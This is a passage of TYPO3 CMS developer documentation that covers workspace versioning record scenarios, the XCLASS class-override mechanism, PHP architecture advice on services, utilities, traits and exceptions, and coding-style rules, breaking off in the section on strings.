  • record uid = 21 contains actual version information, pointing back to live pendant, t3ver_oid = 11, using default version state t3ver_state = 0

Scenario: Delete record

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
12 20 0 256 0 0 0 0 0 Article #2
... ... ... ... ... ... ... ... ... ...
22 -1 0 256 1 12 2 0 0 Article #2 deleted
  • record uid = 22 represents delete placeholder t3ver_state = 2, pointing back to live pendant, t3ver_oid = 12

Scenario: Create new record on existing page

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
... ... ... ... ... ... ... ... ... ...
25 20 0 512 1 0 1 0 0 Article #4 new
26 -1 0 512 1 25 -1 0 0 Article #4 new
  • record uid = 25 defines sorting insertion point on page pid = 20 in live workspace, t3ver_state = 1
  • record uid = 26 contains actual version information, pointing back to new placeholder, t3ver_oid = 25, indicating new version state t3ver_state = -1

Scenario: Create new record on page that is new in workspace

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
... ... ... ... ... ... ... ... ... ...
29 41 0 128 1 0 1 0 0 Topic #1 Article new
30 -1 0 128 1 29 -1 0 0 Topic #1 Article new
  • record uid = 29 defines sorting insertion point on page pid = 41 in live workspace, t3ver_state = 1
  • record uid = 30 contains actual version information, pointing back to new placeholder, t3ver_oid = 29, indicating new version state t3ver_state = -1
  • side-note: pid = 41 points to new placeholder of a page that has been created in workspace

Scenario: Discard record workspace modifications

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
... ... ... ... ... ... ... ... ... ...
27 20 1 640 0 0 1 0 0 Article #5 discarded
28 -1 1 640 0 27 -1 0 0 Article #5 discarded
  • previously records uid = 27 and uid = 28 have been created in workspace (similar to Scenario: Create new record on existing page)
  • both records represent the discarded state by having assigned deleted = 1 and t3ver_wsid = 0

Scenario: Create new record localization

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
11 20 0 128 0 0 0 0 0 Article #1
... ... ... ... ... ... ... ... ... ...
31 20 0 192 1 1 0 11 1 Entrefilet #1 (fr)
32 -1 0 192 1 31 -1 11 1 Entrefilet #1 (fr)
33 20 0 224 1 0 1 11 2 Beitrag #1 (de)
34 -1 0 224 1 33 -1 11 2 Beitrag #1 (de)
  • principles of creating new records with according placeholders applies in this scenario
  • records uid = 31 and uid = 32 represent localization to French sys_language_uid = 1, pointing back to their localization origin l10n_parent = 11
  • records uid = 33 and uid = 34 represent localization to German sys_language_uid = 2, pointing back to their localization origin l10n_parent = 11

Scenario: Create new record, then move to different page

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
... ... ... ... ... ... ... ... ... ...
25 30 0 512 1 0 1 0 0 Article #4 new & moved
26 -1 0 512 1 25 -1 0 0 Article #4 new & moved
  • previously records uid = 25 and uid = 26 have been created in workspace (exactly like in Scenario: Create new record on existing page), then record uid = 25 has been moved to target target page pid = 30
  • record uid = 25 directly uses target page pid = 30

Scenario: Create new record, then delete

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
... ... ... ... ... ... ... ... ... ...
25 20 1 512 0 0 1 0 0 Article #4 new & deleted
26 -1 1 512 0 25 -1 0 0 Article #4 new & deleted

XCLASSes (Extending Classes)

Introduction

XCLASSing is a mechanism in TYPO3 to extend classes or overwrite methods from the Core or extensions with one's own code. This enables a developer to easily change a given functionality, if other options like events or hooks, or the dependency injection mechanisms do not work or do not exist.

If you need a hook or event that does not exist, feel free to submit a feature request and - even better - a patch. Consult the TYPO3 Contribution Guide about how to do this.

How does it work?

In general every class instance in the Core and in extensions that stick to the recommended coding guidelines is created with the API call \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(). The methods takes care of singletons and also searches for existing XCLASSes. If there is an XCLASS registered for the specific class that should be instantiated, an instance of that XCLASS is returned instead of an instance of the original class.

Limitations

  • Using XCLASSes is risky: neither the Core, nor extensions authors can guarantee that XCLASSes will not break if the underlying code changes (for example during upgrades). Be aware that your XCLASS can easily break and has to be maintained and fixed if the underlying code changes. If possible, you should use a hook instead of an XCLASS.
  • XCLASSes do not work for static classes, static methods, abstract classes or final classes.
  • There can be only one XCLASS per base class, but an XCLASS can be XCLASSed again. Be aware that such a construct is even more risky and definitely not advisable.
  • A small number of Core classes are required very early during bootstrap before configuration and other things are loaded. XCLASSing those classes will fail if they are singletons or might have unexpected side-effects.

Declaration

The $GLOBALS['TYPO3_CONF_VARS']['SYS']['Objects'] global array acts as a registry of overloaded (XCLASSed) classes.

The syntax is as follows and is commonly located in an extension's ext_localconf.php file:

EXT:some_extension/ext_localconf.php
use TYPO3\CMS\Backend\Controller\NewRecordController;

$GLOBALS['TYPO3_CONF_VARS']['SYS']['Objects'][NewRecordController::class] = [
    'className' => \MyVendor\SomeExtension\Xclass\NewRecordController::class
];
Copied!

In this example, we declare that the \TYPO3\CMS\Backend\Controller\NewRecordController class will be overridden by the \T3docs\Examples\Xclass\NewRecordController class, the latter being part of the "examples" extension .

When XCLASSing a class that does not use namespaces, use that class name in the declaration.

Coding practices

The recommended way of writing an XCLASS is to extend the original class and overwrite only the methods where a change is needed. This lowers the chances of the XCLASS breaking after a code update.

The example below extends the new record wizard screen. It first calls the original method and then adds its own content:

EXT:my_extension/Classes/Xclass/NewRecordController.php
class NewRecordController extends \TYPO3\CMS\Backend\Controller\NewRecordController
{
    protected function renderNewRecordControls(ServerRequestInterface $request): void
    {
        parent::renderNewRecordControls($request);
        $ll = 'LLL:EXT:examples/Resources/Private/Language/locallang.xlf'
        $label = $GLOBALS['LANG']->sL($ll . ':help');
        $text = $GLOBALS['LANG']->sL($ll . ':make_choice');
        $str = '<div><h2 class="uppercase" >' .  htmlspecialchars($label)
            . '</h2>' . $text . '</div>';
        $this->code .= $str;
    }
}
Copied!

The result can be seen here:

A help section is added at the bottom of the new record wizard

The object-oriented rules of PHP, such as rules about visibility, apply here. As you are extending the original class you can overload or call methods marked as public and protected but not private or static ones. Read more about visibility and inheritance at php.net

Coding guidelines

This chapter contains description of the formal requirements or standards regarding coding that you should adhere to when you develop TYPO3 extensions or Core parts.

Some basic rules are defined in the .editorconfig, such as the charset and the indenting style. By default, indenting with 4 spaces is used, but there are a few exceptions (e.g. for YAML or JSON files).

For the files that are not specifically covered in the subchapters (e.g. Fluid, .json, or .sql), the information in the .editorconfig file should be sufficient.

Introduction to the TYPO3 coding guidelines (CGL)

This chapter defines coding guidelines for the TYPO3 project. Following these guidelines is mandatory for TYPO3 Core developers and contributors to the TYPO3 Core .

Extension authors are encouraged to follow these guidelines when developing extensions for TYPO3. Following these guidelines makes it easier to read the code, analyze it for learning or performing code reviews. These guidelines also help preventing typical errors in the TYPO3 code.

This chapter defines how TYPO3 code, files and directories should be outlined and formatted. It gives some thoughts on general coding flavors the Core tries to follow.

The CGL as a means of quality assurance

Our programmers know the CGL and are encouraged to inform authors, should their code not comply with the guidelines.

Apart from that, adhering to the CGL is not voluntary: The CGL are also enforced by structural means: Automated tests are run by the continuous integration tool bamboo to make sure that every (core) code change complies with the CGL. In case a change does not meet the criteria, bamboo will give a negative vote in the review system and point to the according problem.

Following the coding guidelines not necessarily means more work for Core contributors: The automatic CGL check performed by bamboo can be easily replayed locally: If the test setup votes negative on a Core patch in the review system due to CGL violations, the patch can be easily fixed locally by calling ./Build/Scripts/cglFixMyCommit.sh and pushed another time. For details on Core contributions, have a look at the TYPO3 Contribution Guide.

General recommendations

Setup IDE / editor

.editorconfig

One method to set up your IDE / editor to adhere to specific Coding Guidelines, is to use an .editorconfig file. Read EditorConfig.org to find out more about it. Various IDEs or Editors support editorconfig by default or with an additional plugin.

For example, for PhpStorm there is an EditorConfig plugin.

An .editorconfig file is included in the TYPO3 source code.

PHP architecture

This chapter aims to give developers some ideas and practices at hand when PHP architectural decisions have to be taken. Result should be a understanding of some thoughts behind and a harmonization of solutions found in the TYPO3 Core and maybe in third-party extensions. It should help reviewers to evaluate solutions and how they stick to the main code separation principles the Core tries to follow. The document should help developers to train their architectural skills and to rate easier which pattern matches a given problem to improve code quality and exchangeability.

These following sections also address cross-cutting concerns, which are problems that have to be solved at multiple, distinct places within the system that have no further connection to each other. It is a cross-class hierarchy and maybe cross-extension problem that can and should not be solved with class abstractions.

Services

Characteristics

  • Services MUST be used as objects, they are never static.
  • A single service MUST consist of one class only.
  • Services MUST be located in a Service/ directory and the class and file name MUST end with Service, eg. Service/FoobarService.php.
  • Service instances MAY hold a state, but they SHOULD be stateless.
  • Services MAY use their own configuration, but they SHOULD not.
  • Services MAY have multiple entry points, but they SHOULD have only one.
  • Services SHOULD NOT be singletons

Rationale

A “service” in this context is meant as the relatively short-sighted process of putting a class into a Service/ subfolder and calling it a WhateverService. It does not have too much to do with the DDD Service context, which is broader. This section is just about which scope can be expected for classes residing in a Service folder within Core extensions.

From this point of view, a service in the TYPO3 world is a relatively slim class construct that encapsulates a specific concern. It is too big for a small static method, it may hold a state, but it is still just a relatively small scope. Each service consists typically of only a single class. A bigger construct with interfaces, multiple sub classes is not called a service anymore.

The above characteristica MAY and SHOULD mean that a single service MAY do a single one or two of them, but if for instance a service would become relatively big, if it would have many entry points, if it would keep states and depend on configuration, this would be too much. This would be a sign that it should be modeled in a different and more dedicated and more disjoint way.

The main risk with service classes is that they pile up to a conglomeration of helper stuff classes that are hanging around without good motivation. It is important that a service class should not be a bin for something that just does not fit to a different better place within the scope of a specific extension.

Good Examples

  • \TYPO3\CMS\Extbase\Service\CacheService

    • Small and straight scope with useful helpers
    • It is a singleton, but that is feasible in this case

Bad Examples

  • \TYPO3\CMS\Core\Service\AbstractAuthenticationService,

    • Not modeled in a sane way, this should be within Core/Authentication
    • Far too complex, class abstraction and extending classes

Further Reading

See http://gorodinski.com/blog/2012/04/14/services-in-domain-driven-design-ddd/.

Static Methods, static Classes, Utility Classes

Characteristica

  • A utility class MUST contain only static methods.
  • Utility classes MUST NOT have state, no local properties, no DB access, … .
  • Utility methods MAY call other utility methods.
  • Utility class methods MUST NOT have dependencies to non static methods like other class instances or global variables.
  • Utility class methods MUST have high unit test coverage.
  • Utility class scope MUST be small and domain logic MUST NOT be encapsulated in static methods.
  • Utility classes MUST be located in a utility sub folder and MUST end with Utility, eg. FoobarUtility.
  • Static methods MUST be located in utility classes and SHOULD NOT be added to other classes, except a specific pattern has a hard requirement to a static helper method within its class. All classes outside a utility folder MUST be instantiated and handled as object instances.

Rationale

Static methods as cross-cutting concern solution have been in the Core ever since. They are an easy way to extract recurring coding problems to helper methods.

Static methods however have a list of issues that need to be taken into consideration before deciding to use them. First, they can not be extended in a sane way and the Core framework has no way to re-route a static method call to a different implementation. They are a hard coded dependency in a system. They can not be easily “mocked away” in unit tests if a class uses a static method from a different class. They especially raise issues if a static method keeps state in static properties, this is similar to a de-facto singleton and it is hard to reset or manipulate this state later. Static properties can easily result in side effects to different using systems. Additionally, static methods tend to become too complex, doing too much at a time and becoming god methods in long run. Big and complex utility methods doing too much at a time is a strong sign something else was not modeled properly at a different place.

The Core has a long history of static utility class misuse and is in an ongoing effort to model stuff correctly and getting rid of static utility god classes that happily mix different concerns. Solving some of these utility methods to proper class structures typically improves code separation significantly and renders Core parts more flexible and less error prone.

With this history in mind, Core development is rather sensible when new static utility classes should be added. During reviews, a heavy introduction of static classes or methods should raise red lights, it is likely some abstraction went wrong and the problem domain was not modeled well enough.

A “good” static method in a utility class can be thought of as if the code itself is directly embedded within the consuming classes. It is mostly an extraction of a common programming problem that can not be abstracted within the class hierarchy since multiple different class hierarchies have the same challenge. Good static methods contain helper code like dedicated array manipulations or string operations. This is why the majority of static utility classes is located within the Core extension in the Core and other extension have little number of utility classes.

Good static methods calls are not “mocked away” in unit tests of a system that calls a static method and are thus indirectly tested together with the system under test as if the code is directly embedded within the class. It is important to have good test coverage for the static method itself, defining the method behaviour especially for edge cases.

Good Examples

  • Core/Utility/ArrayUtility

    • Clear scope - array manipulation helpers.
    • Well documented, distinct and short methods doing only one thing at a time with decent names and examples.
    • High test coverage taking care of edge case input output scenarios acting as additional documentation of the system.
    • No further dependencies.
  • Core/Utility/VersionNumberUtility

    • Clear scope - a group of helper methods to process version number handling.
    • Good test coverage defining the edge cases.
    • Defines how version handling is done in TYPO3 and encapsulates this concern well.

Bad Examples

  • Backend/Utility/BackendUtility

    • Global access, third party dependencies.
    • Stateful methods.
    • No clear concern.
    • God methods.
  • Core/Utility/MailUtility

    • Good: Relatively clear focus, but:
    • Stateful, external dependencies to objects, depends on configuration.
    • Relatively inflexible.
    • This should probably “at least” be a service.
  • Core/Utility/RootlineUtility

    • Not static.
    • Should probably be a dedicated class construct, probably a service is not enough. Why is this not part of a tree structure?

Red Flags

  • $GLOBALS: Utility code should not have dependencies to global state or global objects.

Traits

Characteristica

  • A trait MAY access properties or methods of the class it is embedded in.
  • A trait MUST be combined with an interface. Classes using a trait must implement at least this interface.
  • A trait interface MUST have a default implementation trait.

Rationale

There is one specific feature that traits provide other abstraction solutions like services or static extraction do not: A trait is embedded within the class that consumes it and as such can directly access methods and properties of this class. A trait typically holds state in a property of the class. If this feature is not needed, traits should not be used. Thus, the trait itself may even have a dependency to the class it is embedded in, even if this is rather discouraged.

A simple way to look at this is to see the interface as the main feature with the trait providing a single or maybe two default implementations of the interface for a specific class.

One usage of traits is the removal of boilerplate code. While object creation and dependency injection is still a not resolved issue in the Core, this area is probably a good example where a couple of traits would be really useful to autowire default functionality like logging into classes with very little developer effort and in a simple and understandable way. It should however be kept in mind that traits must always be used with care and should stay as a relatively seldom used solution. This is one reason why the current getLanguageService() and similar boilerplate methods are kept within classes directly for now and is not extracted to traits: Both container system and global scope objects are currently not finally decided and we don’t want to have relatively hard to deprecate and remove traits at this point.

Good Examples

  • \Symfony\Component\DependencyInjection\ContainerAwareInterface with \Symfony\Component\DependencyInjection\ContainerAwareTrait as default implementation

    • The ContainerAwareInterface is tested to within the dependency injection system of symfony and the trait is a simple default implementation that easily adds the interface functionality to a given class.
    • Good naming.
    • Clear scope.
  • LoggerAwareInterface with a default trait.

Bad Examples

  • Old \TYPO3\CMS\FluidStyledContent\ViewHelpers\Menu\MenuViewHelperTrait (available in previous TYPO3 versions)

    • Contains only protected methods, can not be combined with interface.
    • Contains getTypoScriptFrontendController(), hides this dependency in the consuming class.
    • No interface.
    • It would have probably been better to add the trait code to a full class and just use it in the according view helpers (composition) or implement it as abstract.

For these reasons the trait has been dissolved into an AbstractMenuViewHelper.

Further Reading

See https://www.rosstuck.com/how-i-use-traits.

Working with exceptions

Introduction

Working with exceptions in a sane way is a frequently asked topic. This section aims to give some good advice on how to deal with exceptions in TYPO3 world and especially which types of exceptions should be thrown under which circumstances.

First of, exceptions are a good thing - there is nothing bad with throwing them. It is often better to throw an exception than to return a “mixed” return value from a method to signal that something went wrong. TYPO3 has a tradition of methods that return either an expected result set - for instance an array - or alternatively a boolean false on error. This is often confusing for callers and developers tend to forget to implement proper error handling for such “false was returned” cases. This easily leads to hard to track problems. It is often a much better choice to throw an exception if something went wrong: This gives the chance to throw a meaningful message directly to the developer or to a log file for later analysis. Additionally, an exception usually comes along with a backtrace.

Exception types

Exceptions are a good thing, but how to decide on what to throw exactly? The basic idea is: If it is possible that an exception needs to be caught by a higher level code segment, then a specific exception type - mostly unique for this case - should be thrown. If the exception should never be caught, then a top-level PHP built-in exception should be thrown. For PHP built-in exceptions, the actual class is not crucial, if in doubt, a \RuntimeException fits - it is much more important to throw a meaningful exception message in those cases.

Typical cases for exceptions that are designed to be caught

  • Race conditions than can be created by editors in a normal workflow:

    • Editor 1 calls list module and a record is shown.
    • Editor 2 deletes this record.
    • Editor 1 clicks the link to open this deleted record.
    • The code throws a catchable, specific named exception that is turned into a localized error message shown to the user "The record 12 from table tt_content you tried to open has been deleted …".
  • Temporary issues: Updating the extension list in the Extension Manager fails because of a network issue - The code throws a catchable, named exception that is turned into a localized error message shown to the user "Can not connect to update servers, please check internet connection …".

Typical cases for exceptions that should not be caught

  • Wrong configuration: A FlexForm contains a type=inline field. At the time of this writing, this case was not implemented, so the code checks for this case and throws a top-level PHP built-in exception ( \RuntimeException in this case) to point developers to an invalid configuration scenario.
  • Programming error / wrong API usage: Code that can not do its job because a developer did not take care and used an API in a wrong way. This is a common reason to throw an exception and can be found at lots of places in the Core. A top-level exception like \RuntimeException should be thrown.

Typical exception arguments

The standard exception signature:

EXT:my_extension/Classes/Exceptions/MyException.php
public function __construct(
    string $message = "",
    int $code = 0,
    \Throwable $previous = null,
) {
    // ... the logic
}
Copied!

TYPO3 typically uses a meaningful exception message and a unique code. Uniqueness of $code is created by using a Unix timestamp of now (the time when the exception is created): This can be easily created, for instance using the trivial shell command date +%s. The resulting number of this command should be directly used as the exception code and never changed again.

Throwing a meaningful message is important especially if top-level exceptions are thrown. A developer receiving this exception should get all useful data that can help to debug and mitigate the issue.

Example:

EXT:my_extension/Classes/Exceptions/MyException.php
use MyVendor\SomeExtension\File\FileNotAccessibleException;
use MyVendor\SomeExtension\File\FileNotFoundException;

// ...

if ($pid === 0) {
    throw new \RuntimeException('The page "' . $pid . '" cannot be accessed.', 1548145665);
}

$absoluteFilePath = GeneralUtility::getFileAbsFileName($filePath);

if (is_file($absoluteFilePath)) {
    $file = fopen($absoluteFilePath, 'rb');
} else {
    // prefer speaking exception names, add custom exceptions if necessary
    throw new FileNotFoundException('File "' . $absoluteFilePath . '" does not exist.', 1548145672);
}

if ($file == null) {
    throw new FileNotAccessibleException('File "' . $absoluteFilePath . '" cannot be read.', 1548145672);
}
Copied!

Exception inheritance

A typical exception hierarchy for specific exceptions in the Core looks like \MyVendor\MyExtension\Exception extends \TYPO3\CMS\Core\Exception, where \TYPO3\CMS\Core\Exception is the base of all exceptions in TYPO3.

Building on that you can have MyVendor\MyExtension\Exception\AFunctionality\ASpecificException extends MyVendor\MyExtension\Exception for more specific exceptions. All of your exceptions should extend your extension-specific base exception.

So, as rule: As soon as multiple different specific exceptions are thrown within some extension, there should be a generic base exception within the extension that is not thrown itself, and the specific exceptions that are thrown then extend from this class.

Typically, only the specific exceptions are caught however. In general, the inheritance hierarchy should not be extended much deeper and should be kept relatively flat.

Extending exceptions

It can become handy to extend exceptions in order to transport further data to the code that catches the exception. This can be useful if an exception is caught and transformed into a localized flash message or a notification. Typically, those additional pieces of information should be added as additional constructor arguments:

EXT:my_extension/Classes/Exceptions/MyException.php
public function __construct(
    string $message = "",
    int $code = 0,
    \Throwable $previous = null,
    string $additionalArgument = '',
    int $anotherArgument = 0,
) {
    // ... the logic
}
Copied!

There should be getters for those additional data parts within the exception class. Enriching an exception with additional data should not happen with setter methods: Exceptions have a characteristics similar to “value objects” that should not be changed. Having setters would spoil this idea: Once thrown, exceptions should be immutable, thus the only way to add data is by handing it over as constructor arguments.

Good examples

  • \TYPO3\CMS\Backend\Form\FormDataProvider\AbstractDatabaseRecordProvider , \TYPO3\CMS\Backend\Form\FormDataProvider\DatabaseEditRow , \TYPO3\CMS\Backend\Form\Exception\DatabaseRecordException , \TYPO3\CMS\Backend\Form\FormDataProvider\TcaInline

    • Scenario: DatabaseEditRow may throw a DatabaseRecordException if the record to open has been deleted meanwhile. This can happen in inline scenarios, so the TcaInline data provider catches this exception.
    • Good: Next to a meaningful exception message, the exception is enriched with the table name and the uid it was handling in __construct() to hand over further useful information to the catching code.
    • Good: The catching code catches this specific exception, uses the getters of the exception to get the additional data and creates a localized error message from it that is enriched with further data that only the catching code knows.
    • Good: The exception hierarchy is relatively flat - it extends from a more generic \Backend\Form\Exception which itself extends from \Backend\Exception which extends \Exception. The \Backend\Form\Exception could have been left out, but since the backend extension is so huge, the author decided to have this additional class layer in between.
    • Good: The method that throws has @throws annotations to hint IDEs like PhpStorm that an exception may be received using that method.
    • Bad: The exception could have had a more dedicated name like DatabaseRecordVanishedException or similar.
  • \TYPO3\CMS\Backend\Form\FormDataProvider\AbstractDatabaseRecordProvider

    • Good: method getRecordFromDatabase() throws exceptions at four different places with only one of them being catchable ( DatabaseRecordException) and the other three being top-level PHP built-in exceptions that indicate a developer / code usage error.
    • Bad: The generic exception messages could be more verbose and explain in more detail on what went wrong.

Bad examples

  • \TYPO3\CMS\Core\Resource\FileRepository method findFileReferenceByUid()

    • Bad: The top-level PHP built-in is caught.

      This is not a good idea and indicates something is wrong in the code that may throw this exception. A specific exception should be caught here only.

    • Bad: Catching \RuntimeException.

      This may hide more serious failures from an underlying library that should better have been bubbling up. The same holds for \Exception.

    • Bad: Catching this exception is used to change the return value of the method to false.

      This would make it a method that returns multiple different types.

Further readings

See How to Design Exception Hierarchies.

General requirements for PHP files

TYPO3 coding standards

The package TYPO3 Coding Standards provides the most up-to-date recommendation for using and enforcing common coding guidelines, which are continuously improved. The package also offers toolchain configuration for automatically adjusting code to these standards. Specifically, a PHP CS Fixer configuration is provided, that is based on PER-CS1.0 (PSR-12) at the time of this writing, and transitioning towards PER-CS2.0.

File names

The file name describes the functionality included in the file. It consists of one or more nouns, written in UpperCamelCase. For example in the frontend system extension there is the file ContentObject/ContentObjectRenderer.php.

It is recommended to use only PHP classes and avoid non-class files.

Files that contain PHP interfaces must have the file name end on "Interface", e.g. FileListEditIconHookInterface.php.

One file can contain only one class or interface.

Extension for PHP files is always php.

PHP tags

Each PHP file in TYPO3 must use the full (as opposed to short) opening PHP tag. There must be exactly one opening tag (no closing and opening tags in the middle of the file). Example:

EXT:some_extension/Classes/SomeClass.php
<?php
declare(strict_types = 1);
// File content goes here
Copied!

Closing PHP tags (e.g. at the end of the file) are not used.

Each newly introduced file MUST declare strict types for the given file.

Line breaks

TYPO3 uses Unix line endings (\n, PHP chr(10)). If a developer uses Windows or Mac OS X platform, the editor must be configured to use Unix line endings.

Line length

Very long lines of code should be avoided for questions of readability. A line length of about 130 characters (including spaces) is fine. Longer lines should be split into several lines whenever possible. Each line fragment starting from the second must - compared to the first one - be indented with four space characters more. Example:

EXT:some_extension/Classes/SomeClass.php
BackendUtility::viewOnClick(
    (int)$this->pageInfo['uid'],
    '',
    BackendUtility::BEgetRootLine((int)$this->pageInfo['uid'])
);
Copied!

Comment lines should be kept within a limit of about 80 characters (excluding the leading spaces) as it makes them easier to read.

Whitespace and indentation

TYPO3 uses space characters to indent source code. Following the TYPO3 Coding Standards, one indentation level consists of four spaces.

There must be no white spaces in the end of a line. This can be done manually or using a text editor that takes care of this.

Spaces must be added:

  • On both sides of string, arithmetic, assignment and other similar operators (for example ., =, +, -, ?, :, *, etc).
  • After commas.
  • In single line comments after the comment sign (double slash).
  • After asterisks in multiline comments.
  • After conditional keywords like if ( and switch (.
  • Before conditional keywords if the keyword is not the first character like } elseif {.

Spaces must not be present:

  • After an opening brace and before a closing brace. For example: explode( 'blah', 'someblah' ) needs to be written as explode('blah', 'someblah').

Character set

All TYPO3 source files use the UTF-8 character set without byte order mark (BOM). Encoding declarations like declare(encoding = 'utf-8'); must not be used. They might lead to problems, especially in ext_tables.php and ext_localconf.php files of extensions, which are merged internally in TYPO3. Files from third-party libraries may have different encodings.

File structure

TYPO3 files use the following structure:

  1. Opening PHP tag (including strict_types declaration)
  2. Copyright notice
  3. Namespace
  4. Namespace imports
  5. Class information block in phpDoc format
  6. PHP class
  7. Optional module execution code

The following sections discuss each of these parts.

Namespace

The namespace declaration of each PHP file in the TYPO3 Core shows where the file belongs inside TYPO3. The namespace starts with \TYPO3\CMS, then the extension name in UpperCamelCase, a backslash and then the name of the subfolder of Classes/, in which the file is located (if any). E.g. the file typo3/sysext/frontend/Classes/ContentObject/ContentObjectRenderer.php with the class ContentObjectRenderer is in the namespace \TYPO3\CMS\Frontend\ContentObject.

use statements can be added to this section.

Namespace imports

Necessary PHP classes should be imported like explained in the TYPO3 Coding Standards, (based on PER-CS1.0 / PSR-12 at the time of this writing, transitioning towards PER-CS2.0):

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Utility\HttpUtility;
use TYPO3\CMS\Core\Cache\Backend\BackendInterface;
Copied!

Put one blank line before and after import statements. Also put one import statement per line.

Class information block

The class information block provides basic information about the class in the file. It should include a description of the class. Example:

EXT:some_extension/Classes/SomeClass.php
/**
 * This class provides XYZ plugin implementation.
 */
Copied!

PHP class

The PHP class follows the class information block. PHP code must be formatted as described in chapter "PHP syntax formatting".

The class name is expected to follow some conventions. It must be identical to the file name and must be written in upper camel case.

The PHP class declaration looks like the following:

EXT:some_extension/Classes/SomeClass.php
class SomeClass extends AbstractBackend implements BackendInterface
{
    // ...
}
Copied!

Optional module execution code

Module execution code instantiates the class and runs its method(s). Typically this code can be found in eID scripts and old Backend modules. Here is how it may look like:

EXT:some_extension/Classes/SomeClass.php
$someClass = GeneralUtility::makeInstance(SomeClass::class);
$someClass->main();
Copied!

This code must appear after the PHP class.

PHP syntax formatting

Identifiers

All identifiers must use camelCase and start with a lowercase letter. Underscore characters are not allowed. Hungarian notation is not encouraged. Abbreviations should be avoided. Examples of good identifiers:

$goodName
$anotherGoodName
Copied!

Examples of bad identifiers:

$BAD_name
$unreasonablyLongNamesAreBadToo
$noAbbrAlwd
Copied!

The lower camel case rule also applies to acronyms. Thus:

$someNiceHtmlCode
Copied!

is correct, whereas :

$someNiceHTMLCode
Copied!

is not.

In particular the abbreviations "FE" and "BE" should be avoided and the full "Frontend" and "Backend" words used instead.

Identifier names must be descriptive. However it is allowed to use traditional integer variables like $i, $j, $k in for loops. If such variables are used, their meaning must be absolutely clear from the context where they are used.

The same rules apply to functions and class methods. In contrast to class names, function and method names should not only use nouns, but also verbs. Examples:

protected function getFeedbackForm()
public function processSubmission()
Copied!

Class constants should be clear about what they define. Correct:

const USERLEVEL_MEMBER = 1;
Copied!

Incorrect:

const UL_MEMBER = 1;
Copied!

Variables on the global scope may use uppercase and underscore characters.

Examples:

$GLOBALS['TYPO3_CONF_VARS']
Copied!

Comments

Comments in the code are highly welcome and recommended. Inline comments must precede the commented line and be indented with the same number of spaces as the commented line. Example:

protected function processSubmission()
{
    $context = GeneralUtility::makeInstance(Context::class);
    // Check if user is logged in
    if ($context->getPropertyFromAspect('frontend.user', 'isLoggedIn')) {
        …
    }
}
Copied!

Comments must start with " //". Starting comments with " #" is not allowed.

Class constants and variable comments should follow PHP doc style and precede the variable. The variable type must be specified for non–trivial types and is optional for trivial types. Example:

/** Number of images submitted by user */
protected $numberOfImages;

/**
 * Local instance of the ContentObjectRenderer class
 *
 * @var ContentObjectRenderer
 */
protected $localCobj;
Copied!

Single line comments are allowed when there is no type declaration for the class variable or constant.

If a variable can hold values of different types, use mixed as type.

Debug output

During development it is allowed to use debug() or \TYPO3\CMS\Core\Utility\DebugUtility::debug() function calls to produce debug output. However all debug statements must be removed (not only commented!) before pushing the code to the Git repository. Only very exceptionally is it allowed to even think of leaving a debug statement, if it is definitely a major help when developing user code for the TYPO3 Core.

Curly braces

Usage of opening and closing curly braces is mandatory in all cases where they can be used according to PHP syntax (except case statements).

The opening curly brace is always on the same line as the preceding construction. There must be one space (not a tab!) before the opening brace. An exception are classes and functions: Here the opening curly brace is on a new line with the same indentation as the line with class or function name. The opening brace is always followed by a new line.

The closing curly brace must start on a new line and be indented to the same level as the construct with the opening brace. Example:

 protected function getForm()
 {
     if ($this->extendedForm) {
         // generate extended form here
     } else {
         // generate simple form here
     }
}
Copied!

The following is not allowed:

protected function getForm() {
    if ($this->extendedForm) { // generate extended form here
    } else {
        // generate simple form here
    }
}
Copied!

Conditions

Conditions consist of if, elseif and else keywords. TYPO3 code must not use the else if construct.

The following is the correct layout for conditions:

if ($this->processSubmission) {
    // Process submission here
} elseif ($this->internalError) {
    // Handle internal error
} else {
    // Something else here
}
Copied!

Here is an example of the incorrect layout:

if ($this->processSubmission) {
    // Process submission here
}
elseif ($this->internalError) {
    // Handle internal error
} else {
    // Something else here
}
Copied!

It is recommended to create conditions so that the shortest block of code goes first. For example:

if (!$this->processSubmission) {
    // Generate error message, 2 lines
} else {
    // Process submission, 30 lines
}
Copied!

If the condition is long, it must be split into several lines. The logical operators must be put in front of the next condition and be indented to the same level as the first condition. The closing round and opening curly bracket after the last condition should be on a new line, indented to the same level as the if:

if ($this->getSomeCondition($this->getSomeVariable())
    && $this->getAnotherCondition()
) {
    // Code follows here
}
Copied!

The ternary conditional operator ? : must be used only, if it has exactly two outcomes. Example:

$result = ($useComma ? ',' : '.');
Copied!

Wrong usage of the ternary conditional operator:

$result = ($useComma ? ',' : $useDot ? '.' : ';');
Copied!

Switch

case statements are indented with one additional indent (four spaces) inside the switch statement. The code inside the case statements is further indented with an additional indent. The break statement is aligned with the code. Only one break statement is allowed per case.

The default statement must be the last in the switch and must not have a break statement.

If one case block has to pass control into another case block without having a break, there must be a comment about it in the code.

Examples:

switch ($useType) {
    case 'extended':
        $content .= $this->extendedUse();
        // Fall through
    case 'basic':
        $content .= $this->basicUse();
        break;
    default:
        $content .= $this->errorUse();
}
Copied!

Loops

The following loops can be used:

  • do
  • while
  • for
  • foreach

The use of each is not allowed in loops.

for loops must contain only variables inside (no function calls). The following is correct:

$size = count($dataArray);
for ($element = 0; $element < $size; $element++) {
    // Process element here
}
Copied!

The following is not allowed:

for ($element = 0; $element < count($dataArray); $element++) {
    // Process element here
}
Copied!

do and while loops must use extra brackets, if an assignment happens in the loop:

while (($fields = $this->getFields())) {
    // Do something
}
Copied!

There's a special case for foreach loops when the value is not used inside the loop. In this case the dummy variable $_ (underscore) is used:

foreach ($GLOBALS['TCA'] as $table => $_) {
    // Do something with $table
}
Copied!

This is done for performance reasons, as it is faster than calling array_keys() and looping on its result.

Strings

All strings must use single quotes. Double quotes are allowed only to create the new line character ( "\n").

String concatenation operators must be surrounded by spaces. Example:

